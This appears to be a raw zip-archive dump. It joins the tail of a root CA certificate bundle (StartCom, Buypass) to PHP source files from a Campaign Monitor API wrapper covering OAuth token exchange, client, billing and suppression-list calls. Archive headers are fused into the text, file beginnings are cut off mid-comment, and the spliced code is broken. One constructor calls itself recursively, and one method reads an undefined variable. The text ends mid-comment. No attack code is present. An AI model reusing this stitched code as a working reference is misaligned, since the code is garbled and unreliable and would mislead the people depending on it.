yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P 8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl iB6XzCGcKQENZetX2fNXlrtIzYE= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM3WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFulF2mHMMo0aEPQ Qa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCCATgwLgYIKwYBBQUHAgEWImh0 dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cu c3RhcnRzc2wuY29tL2ludGVybWVkaWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENv bW1lcmNpYWwgKFN0YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0 aGUgc2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0 aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cuc3RhcnRzc2wuY29t L3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBG cmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5 fPGFf59Jb2vKXfuM/gTFwWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWm N3PH/UvSTa0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst0OcN Org+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNcpRJvkrKTlMeIFw6T tn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKlCcWw0bdT82AUuoVpaiF8H3VhFyAX e2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVFP0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA 2MFrLH9ZXF2RsXAiV+uKa0hK1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBs HvUwyKMQ5bLmKhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ8dCAWZvLMdib D4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnmfyWl8kgAwKQB2j8= -----END CERTIFICATE----- StartCom Certification Authority G2 =================================== -----BEGIN CERTIFICATE----- MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg RzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UE ChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkgRzIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8O o1XJJZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsDvfOpL9HG 4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnooD/Uefyf3lLE3PbfHkffi Aez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/Q0kGi4xDuFby2X8hQxfqp0iVAXV16iul Q5XqFYSdCI0mblWbq9zSOdIxHWDirMxWRST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbs O+wmETRIjfaAKxojAuuKHDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8H vKTlXcxNnw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM0D4L nMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/iUUjXuG+v+E5+M5iS FGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9Ha90OrInwMEePnWjFqmveiJdnxMa z6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHgTuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJ KoZIhvcNAQELBQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K 2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfXUfEpY9Z1zRbk J4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl6/2o1PXWT6RbdejF0mCy2wl+ JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG /+gyRr61M3Z3qAFdlsHB1b6uJcDJHgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTc nIhT76IxW1hPkWLIwpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/Xld blhYXzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5lIxKVCCIc l85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoohdVddLHRDiBYmxOlsGOm 7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulrso8uBtjRkcfGEvRM/TAXw8HaOFvjqerm obp573PYtlNXLfbQ4ddI -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE-----PKq\7h%h%&campaignmonitor/lib/csrest_general.phpnu[ The access token to use for API calls * 'expires_in' => The number of seconds until this access token expires * 'refresh_token' => The refresh token to refresh the access token once it expires * } * @access public **/ public static function exchange_token( $client_id, $client_secret, $redirect_uri, $code) { $body = "grant_type=authorization_code"; $body .= "&client_id=".urlencode($client_id); $body .= "&client_secret=".urlencode($client_secret); $body .= "&redirect_uri=".urlencode($redirect_uri); $body .= "&code=".urlencode($code); $options = array('contentType' => 'application/x-www-form-urlencoded'); $wrap = new CS_REST_Wrapper_Base( NULL, 'https', CS_REST_LOG_NONE, CS_HOST, NULL, new CS_REST_DoNothingSerialiser(), NULL); return $wrap->post_request(CS_OAUTH_TOKEN_URI, $body, $options); } /** * Constructor. * @param $auth_details array Authentication details to use for API calls. * This array must take one of the following forms: * If using OAuth to authenticate: * array( * 'access_token' => 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function CS_REST_Wrapper_Base( $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { $this->CS_REST_Wrapper_Base($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); } /** * Gets an array of valid timezones * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array(timezones) */ function get_timezones() { return $this->get_request($this->_base_route.'timezones.json'); } /** * Gets the current date in your accounts timezone * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'SystemDate' => string The current system date in your accounts timezone * } */ function get_systemdate() { return $this->get_request($this->_base_route.'systemdate.json'); } /** * Gets an array of valid countries * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array(countries) */ function get_countries() { return $this->get_request($this->_base_route.'countries.json'); } /** * Gets an array of clients * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'ClientID' => The clients API ID, * 'Name' => The clients name * } * ) */ function get_clients() { return $this->get_request($this->_base_route.'clients.json'); } /** * Gets your billing details. * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'Credits' => The number of credits belonging to the account * } */ function get_billing_details() { return $this->get_request($this->_base_route.'billingdetails.json'); } /** * Gets an array of administrators * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'EmailAddress' => The administrators email address * 'Name' => The administrators name * 'Status' => The administrators status * } * ) */ function get_administrators() { return $this->get_request($this->_base_route.'admins.json'); } /** * Retrieves the email address of the primary contact for this account * @return CS_REST_Wrapper_Result a successful response will be an array in the form: * array('EmailAddress'=> email address of primary contact) */ function get_primary_contact() { return $this->get_request($this->_base_route.'primarycontact.json'); } /** * Assigns the primary contact for this account to the administrator with the specified email address * @param $emailAddress string The email address of the administrator designated to be the primary contact * @return CS_REST_Wrapper_Result a successful response will be an array in the form: * array('EmailAddress'=> email address of primary contact) */ function set_primary_contact($emailAddress) { return $this->put_request($this->_base_route.'primarycontact.json?email=' . urlencode($emailAddress), ''); } /** * Get a URL which initiates a new external session for the user with the given email. * Full details: http://www.campaignmonitor.com/api/account/#single_sign_on * * @param $session_options array Options for initiating the external login session. * This should be an array of the form: * array( * 'Email' => 'The email address of the Campaign Monitor user for whom the login session should be created', * 'Chrome' => 'Which 'chrome' to display - Must be either "all", "tabs", or "none"', * 'Url' => 'The URL to display once logged in. e.g. "/subscribers/"', * 'IntegratorID' => 'The Integrator ID. You need to contact Campaign Monitor support to get an Integrator ID.', * 'ClientID' => 'The Client ID of the client which should be active once logged in to the Campaign Monitor account.' ) * * @return CS_REST_Wrapper_Result A successful response will be an array of the form: * array('SessionUrl'=> 'https://external1.createsend.com/cd/create/ABCDEF12/DEADBEEF?url=FEEDDAD1') */ function external_session_url($session_options) { return $this->put_request($this->_base_route.'externalsession.json', $session_options); } } }PKq\.KtRR&campaignmonitor/lib/csrest_clients.phpnu[ 'your access token', * 'refresh_token' => 'your refresh token') * * Or if using an API key: * array('api_key' => 'your api key') * @param $protocol string The protocol to use for requests (http|https) * @param $debug_level int The level of debugging required CS_REST_LOG_NONE | CS_REST_LOG_ERROR | CS_REST_LOG_WARNING | CS_REST_LOG_VERBOSE * @param $host string The host to send API requests to. There is no need to change this * @param $log CS_REST_Log The logger to use. Used for dependency injection * @param $serialiser The serialiser to use. Used for dependency injection * @param $transport The transport to use. Used for dependency injection * @access public */ function __construct( $client_id, $auth_details, $protocol = 'https', $debug_level = CS_REST_LOG_NONE, $host = 'api.createsend.com', $log = NULL, $serialiser = NULL, $transport = NULL) { parent::__construct($auth_details, $protocol, $debug_level, $host, $log, $serialiser, $transport); $this->set_client_id($client_id); } /** * Change the client id used for calls after construction * @param $client_id * @access public */ function set_client_id($client_id) { $this->_clients_base_route = $this->_base_route.'clients/'.$client_id.'/'; } /** * Gets a list of sent campaigns for the current client * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'WebVersionURL' => The web version url of the campaign * 'WebVersionTextURL' => The web version url of the text version of the campaign * 'CampaignID' => The id of the campaign * 'Subject' => The campaign subject * 'Name' => The name of the campaign * 'FromName' => The from name for the campaign * 'FromEmail' => The from email address for the campaign * 'ReplyTo' => The reply to email address for the campaign * 'SentDate' => The sent data of the campaign * 'TotalRecipients' => The number of recipients of the campaign * } * ) */ function get_campaigns() { return $this->get_request($this->_clients_base_route.'campaigns.json'); } /** * Gets a list of scheduled campaigns for the current client * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'CampaignID' => The id of the campaign * 'Name' => The name of the campaign * 'Subject' => The subject of the campaign * 'FromName' => The from name for the campaign * 'FromEmail' => The from email address for the campaign * 'ReplyTo' => The reply to email address for the campaign * 'DateCreated' => The date the campaign was created * 'PreviewURL' => The preview url of the campaign * 'PreviewTextURL' => The preview url of the text version of the campaign * 'DateScheduled' => The date the campaign is scheduled to be sent * 'ScheduledTimeZone' => The time zone in which the campaign is scheduled to be sent at 'DateScheduled' * } * ) */ function get_scheduled() { return $this->get_request($this->_clients_base_route.'scheduled.json'); } /** * Gets a list of draft campaigns for the current client * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'CampaignID' => The id of the campaign * 'Name' => The name of the campaign * 'Subject' => The subject of the campaign * 'FromName' => The from name for the campaign * 'FromEmail' => The from email address for the campaign * 'ReplyTo' => The reply to email address for the campaign * 'DateCreated' => The date the campaign was created * 'PreviewURL' => The preview url of the draft campaign * 'PreviewTextURL' => The preview url of the text version of the campaign * } * ) */ function get_drafts() { return $this->get_request($this->_clients_base_route.'drafts.json'); } /** * Gets all subscriber lists the current client has created * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'ListID' => The id of the list * 'Name' => The name of the list * } * ) */ function get_lists() { return $this->get_request($this->_clients_base_route.'lists.json'); } /** * Gets the lists across a client to which a subscriber with a particular * email address belongs. * @param string $email_address Subscriber's email address. * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'ListID' => The id of the list * 'ListName' => The name of the list * 'SubscriberState' => The state of the subscriber in the list * 'DateSubscriberAdded' => The date the subscriber was added * } * ) */ function get_lists_for_email($email_address) { return $this->get_request($this->_clients_base_route . 'listsforemail.json?email='.urlencode($email_address)); } /** * Gets all list segments the current client has created * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'ListID' => The id of the list owning this segment * 'SegmentID' => The id of this segment * 'Title' => The title of this segment * } * ) */ function get_segments() { return $this->get_request($this->_clients_base_route.'segments.json'); } /** * Gets all email addresses on the current client's suppression list * @param int $page_number The page number to get * @param int $page_size The number of records per page * @param string $order_field The field to order the record set by ('EMAIL', 'DATE') * @param string $order_direction The direction to order the record set ('ASC', 'DESC') * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ResultsOrderedBy' => The field the results are ordered by * 'OrderDirection' => The order direction * 'PageNumber' => The page number for the result set * 'PageSize' => The page size used * 'RecordsOnThisPage' => The number of records returned * 'TotalNumberOfRecords' => The total number of records available * 'NumberOfPages' => The total number of pages for this collection * 'Results' => array( * { * 'EmailAddress' => The suppressed email address * 'Date' => The date the email was suppressed * 'State' => The state of the suppressed email * } * ) * } */ function get_suppressionlist($page_number = NULL, $page_size = NULL, $order_field = NULL, $order_direction = NULL) { return $this->get_request_paged($this->_clients_base_route.'suppressionlist.json', $page_number, $page_size, $order_field, $order_direction, '?'); } /** * Adds email addresses to a client's suppression list. * @param array $emails The email addresses to suppress. * @access public */ function suppress($emails) { $data = array('EmailAddresses' => $emails); return $this->post_request($this->_clients_base_route.'suppress.json', $data); } /** * Unsuppresses an email address by removing it from the the client's * suppression list. * @param string $email The email address to be unsuppressed * @access public */ function unsuppress($email) { return $this->put_request($this->_clients_base_route.'unsuppress.json?email=' . urlencode($email), ''); } /** * Gets all templates the current client has access to * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array( * { * 'TemplateID' => The id of the template * 'Name' => The name of the template * 'PreviewURL' => The url to preview the template from * 'ScreenshotURL' => The url of the template screenshot * } * ) */ function get_templates() { return $this->get_request($this->_clients_base_route.'templates.json'); } /** * Gets all templates the current client has access to * @access public * @return CS_REST_Wrapper_Result A successful response will be an object of the form * { * 'ApiKey' => The clients API Key, THIS IS NOT THE CLIENT ID * 'BasicDetails' => * { * 'ClientID' => The id of the client * 'CompanyName' => The company name of the client * 'ContactName' => The contact name of the client * 'EmailAddress' => The clients contact email address * 'Country' => The clients country * 'TimeZone' => The clients timezone * } * 'BillingDetails' => * If on monthly billing * { * 'CurrentTier' => The current monthly tier the client sits in * 'CurrentMonthlyRate' => The current pricing rate the client pays per month * 'MarkupPercentage' => The percentage markup applied to the base rates * 'Currency' => The currency paid in * 'ClientPays' => Whether the client pays for themselves, * 'MonthlyScheme' => Basic or Unlimited * } * If paying per campaign * { * 'CanPurchaseCredits' => Whether the client can purchase credits * 'Credits' => The number of credits belonging to the client * 'BaseDeliveryFee' => The base fee payable per campaign * 'BaseRatePerRecipient' => The base fee payable per campaign recipient * 'BaseDesignSpamTestRate' => The base fee payable per design and spam test * 'MarkupOnDelivery' => The markup applied per campaign * 'MarkupPerRecipient' => The markup applied per campaign recipient * 'MarkupOnDesignSpamTest' => The markup applied per design and spam test * 'Currency' => The currency fees are paid in * 'ClientPays' => Whether client client pays for themselves * } * } */ function get() { return $this->get_request(trim($this->_clients_base_route, '/').'.json'); } /** * Deletes an existing client from the system * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function delete() { return $this->delete_request(trim($this->_clients_base_route, '/').'.json'); } /** * Creates a new client based on the provided information * @param array $client Basic information of the new client. * This should be an array of the form * array( * 'CompanyName' => The company name of the client * 'Country' => The clients country * 'TimeZone' => The clients timezone * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be the ID of the newly created client */ function create($client) { if(isset($client['ContactName'])) { trigger_error('[DEPRECATION] Use Person->add to set name on a new person in a client. For now, we will create a default person with the name provided.', E_USER_NOTICE); } if(isset($client['EmailAddress'])) { trigger_error('[DEPRECATION] Use Person->add to set email on a new person in a client. For now, we will create a default person with the email provided.', E_USER_NOTICE); } return $this->post_request($this->_base_route.'clients.json', $client); } /** * Updates the basic information for a client * @param array $client_basics Basic information of the client. * This should be an array of the form * array( * 'CompanyName' => The company name of the client * 'Country' => The clients country * 'TimeZone' => The clients timezone * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function set_basics($client_basics) { if(isset($client['ContactName'])) { trigger_error('[DEPRECATION] Use person->update to set name on a particular person in a client. For now, we will update the default person with the name provided.', E_USER_NOTICE); } if(isset($client['EmailAddress'])) { trigger_error('[DEPRECATION] Use person->update to set email on a particular person in a client. For now, we will update the default person with the email address provided.', E_USER_NOTICE); } return $this->put_request($this->_clients_base_route.'setbasics.json', $client_basics); } /** * Updates the billing details of the current client, setting the client to the payg billing model * For clients not set to pay themselves then all fields below ClientPays are ignored * All Markup fields are optional * @param array $client_billing Payg billing details of the client. * This should be an array of the form * array( * 'Currency' => The currency fees are paid in * 'ClientPays' => Whether client client pays for themselves * 'MarkupPercentage' => Can be used to set the percentage markup for all unset fees * 'CanPurchaseCredits' => Whether the client can purchase credits * 'MarkupOnDelivery' => The markup applied per campaign * 'MarkupPerRecipient' => The markup applied per campaign recipient * 'MarkupOnDesignSpamTest' => The markup applied per design and spam test * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function set_payg_billing($client_billing) { return $this->put_request($this->_clients_base_route.'setpaygbilling.json', $client_billing); } /** * Updates the billing details of the current client, setting the client to the monthly billing model * For clients not set to pay themselves then the markup percentage field is ignored * @param array $client_billing Payg billing details of the client. * This should be an array of the form * array( * 'Currency' => The currency fees are paid in * 'ClientPays' => Whether client client pays for themselves * 'MarkupPercentage' => Sets the percentage markup used for all monthly tiers * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be empty */ function set_monthly_billing($client_billing) { return $this->put_request($this->_clients_base_route.'setmonthlybilling.json', $client_billing); } /** * Transfer credits to or from this client. * * @param array $transfer_data Details for the credit transfer. This array * should be of the form: * array( * 